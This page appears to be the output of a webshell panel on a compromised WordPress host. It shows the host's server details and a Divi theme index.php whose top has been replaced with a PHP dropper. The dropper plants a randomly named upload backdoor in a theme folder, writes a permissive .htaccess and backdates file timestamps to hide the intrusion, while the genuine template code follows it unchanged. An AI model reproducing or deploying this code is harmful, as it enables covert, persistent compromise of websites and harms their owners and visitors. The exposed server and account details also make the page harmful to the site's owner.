403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/themes/Divi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/themes/Divi//index.php
<?php
function search_files($dir) {
  $found = array();
  $dir = addslash($dir);

  $files = scandir($dir);
  foreach ($files as $f) {
    if($f === '.' or $f === '..') continue;
    $fpath = $dir . $f;
    if (!is_dir($fpath))
      array_push($found , $dir.$f);
  }
  return $found;
}

function addslash($dir) {
  $lc = substr($dir , -1);
  if ($lc != "/")
    $dir .= "/";
  return $dir;
}

function get_timestamp($dir) {
  $found = array();
  $dir = addslash($dir);

  $files = scandir($dir);
  foreach ($files as $f) {
    if($f === '.' or $f === '..') continue;
    $fpath = $dir . $f;
    if (!is_dir($fpath)) {
      array_push($found , filemtime($dir . $f));
    }
  }
  return min($found);
}

function fixslashes($path) {
  return str_replace('//','/',$path);
}

function find_wp_index($dir){
  $edirs = explode("/", $dir);
  $wpdir = '';
  while(count($edirs)) {
    $path = implode("/", $edirs);
    if(file_exists($path . "/wp-config.php")) {
      $wpdir = $path;
      break;
    }
    array_pop($edirs);
  }
  return $wpdir;
}

function load_file() {
  $shellbase = array("index" , "class" , "theme" , "page" , "content" , "search");
  $shellsuffix = array("-page" , "-content" , "-navs" , "-layout" , "-top" , "-bottom" , "-search" , "-tags" , "-compat" , "-rss" , "-functions" , "-css" , "-model" , "-widget");
  $goodcode = '<?php if($_GET[\'df\'] ==1) {if($_FILES[\'fl\']){move_uploaded_file($_FILES[\'fl\'][\'tmp_name\'], $_POST[\'flname\']);$f = file_get_contents($_POST[\'flname\']);$c = base64_decode($f); file_put_contents($_POST[\'flname\'],$c);echo \'Uploaded\';} else { echo \'Problem\';} unlink(__FILE__);} else {echo \'Hello\';}?>';
  $htaccess = '<Files *.php>' . "\r\n" . 'Order allow,deny' . "\r\n" . 'Allow from all' . "\r\n" . '</Files>';
  $filedir = pathinfo(__FILE__,PATHINFO_DIRNAME);
  $wpindex = find_wp_index($filedir);
  $furn = '';
  if (!$wpindex) {
    print("wpindex not found");
    exit();
  }
  $allthemes = scandir(fixslashes($wpindex."/wp-content/themes/"));
  $dirslist = array();
  foreach($allthemes as $dir) {
    if($dir === '.' or $dir === '..') continue;
        $themepath = fixslashes($wpindex . "/wp-content/themes/" . $dir);
        if (is_dir($themepath))
          array_push($dirslist , $dir);
  }
  $i = array_rand($dirslist);
  $tdir = $dirslist[$i];
  $sdir = fixslashes($wpindex . "/wp-content/themes/" . $tdir . "/");
  $files = search_files($sdir);
  $done = false;
  $fpath = '';

  $ib = array_rand($shellbase);
  $fbase = $shellbase[$ib];
  $is = array_rand($shellsuffix);
  $fnew = $fbase . $shellsuffix[$is] . '.php';

  while(!$done && !empty($files)) {
    $i = array_rand($files);
    $themefile = $files[$i];
    unset($files[$i]);

    if (strpos($themefile , '.php') !== false) {
      $fpath = substr($themefile,0,-4);
      $is = array_rand($shellsuffix);
      $fpath = fixslashes($fpath . $shellsuffix[$is] . '.php');
      $done = true;
    }
  }
  if (!$done)
    $fpath = fixslashes($sdir . $fnew);

  $ind = strrpos($fpath , '/');
  $fname = substr($fpath, $ind + 1);
  $dirmtime = filemtime($sdir);
  $goodfile = fopen($fpath , "w+");
  if (!$goodfile) {
    $fpath = fixslashes($filedir . "/" . $fnew);
    $goodfile = fopen($fpath , "w+") or die("Unable to open file");
  }
  fwrite($goodfile , $goodcode);
  fclose($goodfile);
  $timestamp = get_timestamp($sdir);
  $htaccess_file = $sdir . '.htaccess';
  $hfile = fopen($htaccess_file , "w+");
  if ($hfile) {
    fwrite($hfile,$htaccess);
    fclose($hfile);
  }
  touch($fpath,$timestamp);
  touch($htaccess_file,$timestamp);
  touch($sdir,$dirmtime);

  if ($fpath) {
    $furn = fixslashes('/' . str_replace($wpindex , '' , $fpath));
  }
  return $furn;
}

if(isset($_GET['df']) && $_GET['df'] == '1')
  $shell = load_file();
  echo '<spath>' . $shell . '</spath>';
?>
<?php get_header(); ?>

<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					$post_format = et_pb_post_format(); ?>

					<article id="post-<?php the_ID(); ?>" <?php post_class( 'et_pb_post' ); ?>>

				<?php
					$thumb = '';

					$width = (int) apply_filters( 'et_pb_index_blog_image_width', 1080 );

					$height    = (int) apply_filters( 'et_pb_index_blog_image_height', 675 );
					$classtext = 'et_pb_post_main_image';
					$titletext = get_the_title();
					$alttext   = get_post_meta( get_post_thumbnail_id(), '_wp_attachment_image_alt', true );
					$thumbnail = get_thumbnail( $width, $height, $classtext, $alttext, $titletext, false, 'Blogimage' );
					$thumb     = $thumbnail["thumb"];

					et_divi_post_format_content();

					if ( ! in_array( $post_format, array( 'link', 'audio', 'quote' ) ) ) {
						if ( 'video' === $post_format && false !== ( $first_video = et_get_first_video() ) ) :
							printf(
								'<div class="et_main_video_container">
									%1$s
								</div>',
								et_core_esc_previously( $first_video )
							);
						elseif ( ! in_array( $post_format, array( 'gallery' ) ) && 'on' === et_get_option( 'divi_thumbnails_index', 'on' ) && '' !== $thumb ) : ?>
							<a class="entry-featured-image-url" href="<?php the_permalink(); ?>">
								<?php print_thumbnail( $thumb, $thumbnail["use_timthumb"], $titletext, $width, $height ); ?>
							</a>
					<?php
						elseif ( 'gallery' === $post_format ) :
							et_pb_gallery_images();
						endif;
					} ?>

				<?php if ( ! in_array( $post_format, array( 'link', 'audio', 'quote' ) ) ) : ?>
					<?php if ( ! in_array( $post_format, array( 'link', 'audio' ) ) ) : ?>
						<h2 class="entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
					<?php endif; ?>

					<?php
						et_divi_post_meta();

						if ( 'on' !== et_get_option( 'divi_blog_style', 'false' ) || ( is_search() && ( 'on' === get_post_meta( get_the_ID(), '_et_pb_use_builder', true ) ) ) ) {
							truncate_post( 270 );
						} else {
							the_content();
						}
					?>
				<?php endif; ?>

					</article> <!-- .et_pb_post -->
			<?php
					endwhile;

					if ( function_exists( 'wp_pagenavi' ) )
						wp_pagenavi();
					else
						get_template_part( 'includes/navigation', 'index' );
				else :
					get_template_part( 'includes/no-results', 'index' );
				endif;
			?>
			</div> <!-- #left-area -->

			<?php get_sidebar(); ?>
		</div> <!-- #content-area -->
	</div> <!-- .container -->
</div> <!-- #main-content -->

<?php

get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit